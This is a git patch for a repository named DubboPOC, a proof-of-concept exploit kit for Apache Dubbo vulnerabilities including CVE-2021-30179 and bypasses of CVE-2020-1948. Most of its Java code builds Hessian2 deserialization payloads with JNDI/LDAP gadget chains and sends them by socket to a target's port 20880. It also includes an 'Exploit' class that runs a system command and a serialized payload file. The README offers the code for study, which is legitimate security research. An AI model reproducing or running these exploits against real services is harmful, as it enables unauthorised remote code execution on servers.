From e236cd30af579bd1a4a6f3f5f91c7705d6a1a890 Mon Sep 17 00:00:00 2001 From: lz2y <1446174588@qq.com> Date: Tue, 27 Jul 2021 22:41:17 +0800 Subject: [PATCH] Initial commit --- DubboPOC.iml | 2 + README.md | 17 ++ pom.xml | 183 ++++++++++++++++++ src/main/java/top/lz2y/1.ser | Bin 0 -> 3532 bytes src/main/java/top/lz2y/blacklist.txt | 149 ++++++++++++++ .../java/top/lz2y/impl/DemoServiceImpl.java | 37 ++++ .../java/top/lz2y/service/DemoService.java | 26 +++ .../java/top/lz2y/service/DubboConsumer.java | 34 ++++ .../java/top/lz2y/service/DubboProvider.java | 36 ++++ .../java/top/lz2y/service/HttpConsumer.java | 34 ++++ .../java/top/lz2y/service/HttpProvider.java | 36 ++++ src/main/java/top/lz2y/test/ByteTest.java | 24 +++ src/main/java/top/lz2y/tools/FileUtil.java | 77 ++++++++ src/main/java/top/lz2y/tools/Reflections.java | 67 +++++++ src/main/java/top/lz2y/vul/Bypass1.java | 75 +++++++ src/main/java/top/lz2y/vul/Bypass2.java | 70 +++++++ src/main/java/top/lz2y/vul/CVE202130179.java | 108 +++++++++++ src/main/java/top/lz2y/vul/Exploit.java | 20 ++ src/main/resources/log4j.properties | 27 +++ src/main/resources/spring/dubbo-consumer.xml | 33 ++++ src/main/resources/spring/dubbo-provider.xml | 37 ++++ src/main/resources/spring/http-consumer.xml | 33 ++++ src/main/resources/spring/http-provider.xml | 37 ++++ 23 files changed, 1162 insertions(+) create mode 100644 DubboPOC.iml create mode 100644 README.md create mode 100644 pom.xml create mode 100644 src/main/java/top/lz2y/1.ser create mode 100644 src/main/java/top/lz2y/blacklist.txt create mode 100644 src/main/java/top/lz2y/impl/DemoServiceImpl.java create mode 100644 src/main/java/top/lz2y/service/DemoService.java create mode 100644 src/main/java/top/lz2y/service/DubboConsumer.java create mode 100644 src/main/java/top/lz2y/service/DubboProvider.java create mode 100644 src/main/java/top/lz2y/service/HttpConsumer.java create mode 100644 src/main/java/top/lz2y/service/HttpProvider.java create mode 100644 src/main/java/top/lz2y/test/ByteTest.java create mode 100644 src/main/java/top/lz2y/tools/FileUtil.java create mode 100644 src/main/java/top/lz2y/tools/Reflections.java create mode 100644 src/main/java/top/lz2y/vul/Bypass1.java create mode 100644 src/main/java/top/lz2y/vul/Bypass2.java create mode 100644 src/main/java/top/lz2y/vul/CVE202130179.java create mode 100644 src/main/java/top/lz2y/vul/Exploit.java create mode 100644 src/main/resources/log4j.properties create mode 100644 src/main/resources/spring/dubbo-consumer.xml create mode 100644 src/main/resources/spring/dubbo-provider.xml create mode 100644 src/main/resources/spring/http-consumer.xml create mode 100644 src/main/resources/spring/http-provider.xml diff --git a/DubboPOC.iml b/DubboPOC.iml new file mode 100644 index 0000000..78b2cc5 --- /dev/null +++ b/DubboPOC.iml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/README.md b/README.md new file mode 100644 index 0000000..7369758 --- /dev/null +++ b/README.md @@ -0,0 +1,17 @@ +# DubboPOC +Apache Dubbo 漏洞POC + +* 持续更新中 + - [ ] CVE-2019-17564 + - [ ] CVE-2020-1948 + - [x] CVE-2020-1948绕过 + - [ ] CVE-2021-25641 + - [x] CVE-2021-30179 + - [ ] others +* 免责声明 + * 项目仅供学习使用,任何未授权检测造成的直接或者间接的后果及损失,均由使用者本人负责 + +* 参考链接 + + * [GHSL-2021-034_043: Multiple pre-auth RCEs in Apache Dubbo](https://securitylab.github.com/advisories/GHSL-2021-034_043-apache-dubbo/) + * [dubbo源码浅析:默认反序列化利用之hessian2](https://www.anquanke.com/post/id/197658) diff --git a/pom.xml b/pom.xml new file mode 100644 index 0000000..d793506 --- /dev/null +++ b/pom.xml @@ -0,0 +1,183 @@ + + + 4.0.0 + + org.example + DubboPOC + 1.0-SNAPSHOT + + + 1.8 + 1.8 + 2.7.9 + 4.3.16.RELEASE + 4.12 + + + + + + org.springframework + spring-framework-bom + ${spring.version} + pom + import + + + org.apache.dubbo + dubbo-bom + ${dubbo.version} + pom + import + + + org.apache.dubbo + dubbo-dependencies-zookeeper + ${dubbo.version} + pom + + + com.fasterxml.jackson.core + jackson-databind + 2.9.10.8 + + + com.fasterxml.jackson.core + jackson-core + 2.9.10 + + + com.fasterxml.jackson.core + jackson-annotations + 2.9.10 + + + com.sun.rowset + rowset + + + + + + + org.apache.dubbo + dubbo + + + + org.apache.dubbo + dubbo-dependencies-zookeeper + pom + + + + javax.servlet + javax.servlet-api + + + + org.apache.tomcat.embed + tomcat-embed-core + + + + org.eclipse.jetty + jetty-server + + + + org.eclipse.jetty + jetty-servlet + + + + org.springframework + spring-web + + + + + com.github.briandilley.jsonrpc4j + jsonrpc4j + 1.2.0 + + + + junit + junit + ${junit.version} + test + + + + org.springframework + spring-test + test + + + + com.fasterxml.jackson.core + jackson-databind + + + + com.rometools + rome + 1.7.0 + + + + com.nqzero + permit-reflect + 0.3 + + + + org.apache.xbean + xbean-reflect + 4.15 + + + + org.apache.commons + commons-collections4 + 4.0 + + + + + + + + + javax.annotation + + [1.11,) + + + + javax.annotation + javax.annotation-api + 1.3.2 + + + + + + + + + org.apache.maven.plugins + maven-compiler-plugin + 3.7.0 + + 7 + 7 + + + + + + diff --git a/src/main/java/top/lz2y/1.ser b/src/main/java/top/lz2y/1.ser new file mode 100644 index 0000000000000000000000000000000000000000..99e4bc6926f6ce1146c4b558315721568d5bfa76 GIT binary patch literal 3532 zcmb_fTWl0n82-<0x7*7WXz7Kkpn$X>GsPC$vW=xJf~$*ETYClhb+!Nde(LVWPaTLOt1;^jLtv%3QnwpBOj&g?no zzkmOC{?7eGG25b!W6F#oxsIkwW0q!Gnlt;P%Uyo%O80v=hF+MDQY1w+wsw-IsX;aK z1;tVv({iXiEhJ?jDUX)dlf?oNMWA@Zv~rSCP}FHIK`w6^HlDi9RY${nuUHI}+0uli z81_-q%439csArx_b2Cn z>^ynCCPFMjOU4v zN0l5)DFQLWNA_ttHsEaO<5giOBp(3bX5f{pkn)|@0IHDVy=SgJfAREJNuVx6F>Tn& zp#m#2w|kwTMr{o3ke`?>aGYrgpBdE^+eTohL?A1Ph@~LnvtJ&0eTChnm(tCE$K6Xy z0M8e6cy6cgtUrA4V`J`8Pn2p?)HJCXS#CH_xcMn=rD)kCGG^F1cT!j{W~gCuYSuwF zWrf$#OlBlQwUerFShQAanqrfNlIJ&z9YZ(cx4l2N@^9Kn5ztj;trAfpLnfVjkFUK7Zr zCXl@*koO)ukjyN2I2tEqUC_n|4wW^!un{WOeYMNJ(ARRNXxA!a$-+F%Qvc zUk}0``R~p!YIvlm@`86i#Az#|x0aTV1-%caBkSbly%Pt9i<+GRbBK#9SygCJIn)Am z0tXA_u$mW);z2GM4Oi7r%_U@V+;lCKgCT+KM1Vj^+}H_fpvE|LGV1vkfMv92q3{Gv zS5W68)N&0+%X4{n$_B($|8777F>3WD2hFTt(rdwi#cD3KVi_%rHdKiPSRGXLfC`#D z``!igl<#DmwjpQe(%?6vw$82);|I&h1U*1I8fZI7pc3$fT1VY@<3+AA+S(bC2ZOU6+KyAOLb{j;5 zGT)z@)vlxUP$Jgup$#x!F;GWc<)AlXN1R&zHbq(bGRZAF-=|%NMHGx4!Z&g!PHe<$ z1j%g1vjJNX+C(d;-WAv52Auu6d_S!f_fuP(I^wh{POBGtKOO%;`*|?Gf7SnUKSlSM z=56=UmJn1HzK clazz, final String fieldName) { + Field field = null; + try { + field = clazz.getDeclaredField(fieldName); + setAccessible(field); + } + catch (NoSuchFieldException ex) { + if (clazz.getSuperclass() != null) + field = getField(clazz.getSuperclass(), fieldName); + } + return field; + } + + public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + field.set(obj, value); + } + + public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + return field.get(obj); + } + + public static Constructor getFirstCtor(final String name) throws Exception { + final Constructor ctor = Class.forName(name).getDeclaredConstructors()[0]; + setAccessible(ctor); + return ctor; + } + + public static Object newInstance(String className, Object... args) throws Exception { + return getFirstCtor(className).newInstance(args); + } + + public static T createWithoutConstructor ( Class classToInstantiate ) + throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { + return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]); + } + + @SuppressWarnings( {"unchecked"} ) + public static T createWithConstructor (Class classToInstantiate, Class constructorClass, Class[] consArgTypes, Object[] consArgs ) + throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { + Constructor objCons = constructorClass.getDeclaredConstructor(consArgTypes); + setAccessible(objCons); + Constructor sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); + setAccessible(sc); + return (T)sc.newInstance(consArgs); + } + +} diff --git a/src/main/java/top/lz2y/vul/Bypass1.java b/src/main/java/top/lz2y/vul/Bypass1.java new file mode 100644 index 0000000..9216684 --- /dev/null +++ b/src/main/java/top/lz2y/vul/Bypass1.java @@ -0,0 +1,75 @@ +package top.lz2y.vul; + +import com.rometools.rome.feed.impl.ToStringBean; +import com.sun.rowset.JdbcRowSetImpl; +import org.apache.dubbo.common.io.Bytes; +import org.apache.dubbo.common.serialize.Cleanable; +import org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectOutput; +import top.lz2y.tools.Reflections; + +import java.io.ByteArrayOutputStream; +import java.io.OutputStream; +import java.net.Socket; +import java.util.HashMap; +import java.util.Random; + +/** + * description: Bypass1 + */ +public class Bypass1 { + public static void main(String[] args) throws Exception{ + + ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); + + // header. + byte[] header = new byte[16]; + // set magic number. + Bytes.short2bytes((short) 0xdabb, header); + // set request and serialization flag. + header[2] = (byte) ((byte) 0x80 | 2); + + // set request id. + Bytes.long2bytes(new Random().nextInt(100000000), header, 4); + + ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream(); + Hessian2ObjectOutput out = new Hessian2ObjectOutput(hessian2ByteArrayOutputStream); + + out.writeUTF("2.7.8"); + //todo 此处填写注册中心获取到的service全限定名、版本号、方法名 + out.writeUTF(""); + out.writeUTF("1.0"); + out.writeUTF("$echo"); + //todo 方法描述不需要修改,因为此处需要指定map的payload去触发 + out.writeUTF("Ljava/lang/Object;"); + out.writeObject("foo"); + + JdbcRowSetImpl rs = new JdbcRowSetImpl(); + //todo 此处填写ldap url + rs.setDataSourceName("ldap://127.0.0.1:8087/Exploit"); + rs.setMatchColumn("foo"); + Reflections.getField(javax.sql.rowset.BaseRowSet.class, "listeners").set(rs, null); + + ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, rs); + HashMap attachments = new HashMap(); + attachments.put("pwn", item); + out.writeObject(attachments); + + out.flushBuffer(); + if (out instanceof Cleanable) { + ((Cleanable) out).cleanup(); + } + + Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12); + byteArrayOutputStream.write(header); + byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray()); + + byte[] bytes = byteArrayOutputStream.toByteArray(); + + //todo 此处填写被攻击的dubbo服务提供者地址和端口 + Socket socket = new Socket("192.168.137.1", 20880); + OutputStream outputStream = socket.getOutputStream(); + outputStream.write(bytes); + outputStream.flush(); + outputStream.close(); + } +} diff --git a/src/main/java/top/lz2y/vul/Bypass2.java b/src/main/java/top/lz2y/vul/Bypass2.java new file mode 100644 index 0000000..c4de057 --- /dev/null +++ b/src/main/java/top/lz2y/vul/Bypass2.java @@ -0,0 +1,70 @@ +package top.lz2y.vul; + +import com.rometools.rome.feed.impl.ToStringBean; +import com.sun.rowset.JdbcRowSetImpl; +import org.apache.dubbo.common.io.Bytes; +import org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectOutput; +import top.lz2y.tools.Reflections; + +import java.io.ByteArrayOutputStream; +import java.io.OutputStream; +import java.net.Socket; +import java.util.HashMap; +import java.util.Random; + +/** + * description: Bypass1 + */ +public class Bypass2 { + public static void main(String[] args) throws Exception{ + + ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); + + // header. + byte[] header = new byte[16]; + // set magic number. + Bytes.short2bytes((short) 0xdabb, header); + // set request and serialization flag. + header[2] = (byte) ((byte) 0x80 | 2); + + // set request id. + Bytes.long2bytes(new Random().nextInt(100000000), header, 4); + + ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream(); + Hessian2ObjectOutput out = new Hessian2ObjectOutput(hessian2ByteArrayOutputStream); + + out.writeUTF("2.7.8"); + //todo 此处填写注册中心获取到的service全限定名、版本号、方法名 + out.writeUTF("top.lz2y.service.DemoService"); + out.writeUTF(""); + out.writeUTF("$echo"); + + out.writeUTF("Ljava/lang/Object;"); + + JdbcRowSetImpl rs = new JdbcRowSetImpl(); + //todo 此处填写ldap url + rs.setDataSourceName("ldap://127.0.0.1:8087/Exploit"); + rs.setMatchColumn("foo"); + Reflections.getField(javax.sql.rowset.BaseRowSet.class, "listeners").set(rs, null); + ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, rs); + out.writeObject(item); + HashMap attachments = new HashMap(); + attachments.put("_isCallBackServiceInvoke", "true"); + out.writeObject(attachments); + + out.flushBuffer(); + + Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12); + byteArrayOutputStream.write(header); + byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray()); + + byte[] bytes = byteArrayOutputStream.toByteArray(); + + //todo 此处填写被攻击的dubbo服务提供者地址和端口 + Socket socket = new Socket("127.0.0.1", 20880); + OutputStream outputStream = socket.getOutputStream(); + outputStream.write(bytes); + outputStream.flush(); + outputStream.close(); + } +} diff --git a/src/main/java/top/lz2y/vul/CVE202130179.java b/src/main/java/top/lz2y/vul/CVE202130179.java new file mode 100644 index 0000000..cb902c3 --- /dev/null +++ b/src/main/java/top/lz2y/vul/CVE202130179.java @@ -0,0 +1,108 @@ +package top.lz2y.vul; + +import org.apache.dubbo.common.beanutil.JavaBeanDescriptor; +import org.apache.dubbo.common.io.Bytes; +import org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectOutput; +import top.lz2y.tools.FileUtil; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.OutputStream; +import java.net.Socket; +import java.util.HashMap; +import java.util.Random; + + +/** + * 漏洞编号: + * CVE-2021-30179 + * 适用版本: + * Apache Dubbo 2.7.0 to 2.7.9 + * Apache Dubbo 2.6.0 to 2.6.9 + * Apache Dubbo all 2.5.x versions + */ +public class CVE202130179 { + public static void main(String[] args) throws Exception{ + + ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); + + // header. + byte[] header = new byte[16]; + // set magic number. + Bytes.short2bytes((short) 0xdabb, header); + // set request and serialization flag. + header[2] = (byte) ((byte) 0x80 | 2); + + // set request id. + Bytes.long2bytes(new Random().nextInt(100000000), header, 4); + ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream(); + Hessian2ObjectOutput out = new Hessian2ObjectOutput(hessian2ByteArrayOutputStream); + + // set body + out.writeUTF("2.7.8"); + //todo 此处填写Dubbo提供的服务名 + out.writeUTF("top.lz2y.service.DemoService"); + out.writeUTF(""); + out.writeUTF("$invoke"); + out.writeUTF("Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object;"); + //todo 此处填写Dubbo提供的服务的方法 + out.writeUTF("sayHello"); + out.writeObject(new String[] {"java.lang.String"}); + + // POC 1: raw.return +// getRawReturnPayload(out, "ldap://127.0.0.1:8087/Exploit"); + + // POC 2: bean + getBeanPayload(out, "ldap://127.0.0.1:8087/Exploit"); + + // POC 3: nativejava +// getNativeJavaPayload(out, "src\\main\\java\\top\\lz2y\\1.ser"); + + out.flushBuffer(); + + Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12); + byteArrayOutputStream.write(header); + byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray()); + + byte[] bytes = byteArrayOutputStream.toByteArray(); + + //todo 此处填写Dubbo服务地址及端口 + Socket socket = new Socket("192.168.137.1", 20880); + OutputStream outputStream = socket.getOutputStream(); + outputStream.write(bytes); + outputStream.flush(); + outputStream.close(); + } + + private static void getRawReturnPayload(Hessian2ObjectOutput out, String ldapUri) throws IOException { + HashMap jndi = new HashMap(); + jndi.put("class", "org.apache.xbean.propertyeditor.JndiConverter"); + jndi.put("asText", ldapUri); + out.writeObject(new Object[]{jndi}); + + HashMap map = new HashMap(); + map.put("generic", "raw.return"); + out.writeObject(map); + } + + private static void getBeanPayload(Hessian2ObjectOutput out, String ldapUri) throws IOException { +// JavaBeanDescriptor javaBeanDescriptor = new JavaBeanDescriptor("org.apache.xbean.propertyeditor.JndiConverter",7); +// javaBeanDescriptor.setProperty("asText",ldapUri); + JavaBeanDescriptor javaBeanDescriptor = new JavaBeanDescriptor("com.sun.rowset.JdbcRowSetImpl",7); + javaBeanDescriptor.setProperty("AutoCommit",ldapUri); + out.writeObject(new Object[]{javaBeanDescriptor}); + HashMap map = new HashMap(); + + map.put("generic", "bean"); + out.writeObject(map); + } + + private static void getNativeJavaPayload(Hessian2ObjectOutput out, String serPath) throws IOException { + byte[] payload = FileUtil.getBytesByFile(serPath); + out.writeObject(new Object[] {payload}); + + HashMap map = new HashMap(); + map.put("generic", "nativejava"); + out.writeObject(map); + } +} diff --git a/src/main/java/top/lz2y/vul/Exploit.java b/src/main/java/top/lz2y/vul/Exploit.java new file mode 100644 index 0000000..8deee04 --- /dev/null +++ b/src/main/java/top/lz2y/vul/Exploit.java @@ -0,0 +1,20 @@ +package top.lz2y.vul; + + +import java.io.Serializable; + +/** + * description: Evil Class for Jndi Injection + */ +public class Exploit implements Serializable { + + static { + System.err.println("Pwned"); + try { + String cmds = "calc"; + Runtime.getRuntime().exec(cmds); + } catch ( Exception e ) { + e.printStackTrace(); + } + } +} diff --git a/src/main/resources/log4j.properties b/src/main/resources/log4j.properties new file mode 100644 index 0000000..7e15511 --- /dev/null +++ b/src/main/resources/log4j.properties @@ -0,0 +1,27 @@ +# +# +# Licensed to the Apache Software Foundation (ASF) under one or more +# contributor license agreements. See the NOTICE file distributed with +# this work for additional information regarding copyright ownership. +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# + +###set log levels### +log4j.rootLogger=info, stdout +###output to the console### +log4j.appender.stdout=org.apache.log4j.ConsoleAppender +log4j.appender.stdout.Target=System.out +log4j.appender.stdout.layout=org.apache.log4j.PatternLayout +log4j.appender.stdout.layout.ConversionPattern=[%d{dd/MM/yy hh:mm:ss:sss z}] %t %5p %c{2}: %m%n + diff --git a/src/main/resources/spring/dubbo-consumer.xml b/src/main/resources/spring/dubbo-consumer.xml new file mode 100644 index 0000000..c7d5dd3 --- /dev/null +++ b/src/main/resources/spring/dubbo-consumer.xml @@ -0,0 +1,33 @@ + + + + + + + + + + + + diff --git a/src/main/resources/spring/dubbo-provider.xml b/src/main/resources/spring/dubbo-provider.xml new file mode 100644 index 0000000..2da8b61 --- /dev/null +++ b/src/main/resources/spring/dubbo-provider.xml @@ -0,0 +1,37 @@ + + + + + + + + + + + + + + + + diff --git a/src/main/resources/spring/http-consumer.xml b/src/main/resources/spring/http-consumer.xml new file mode 100644 index 0000000..c7d5dd3 --- /dev/null +++ b/src/main/resources/spring/http-consumer.xml @@ -0,0 +1,33 @@ + + + + + + + + + + + + diff --git a/src/main/resources/spring/http-provider.xml b/src/main/resources/spring/http-provider.xml new file mode 100644 index 0000000..2da8b61 --- /dev/null +++ b/src/main/resources/spring/http-provider.xml @@ -0,0 +1,37 @@ + + + + + + + + + + + + + + + +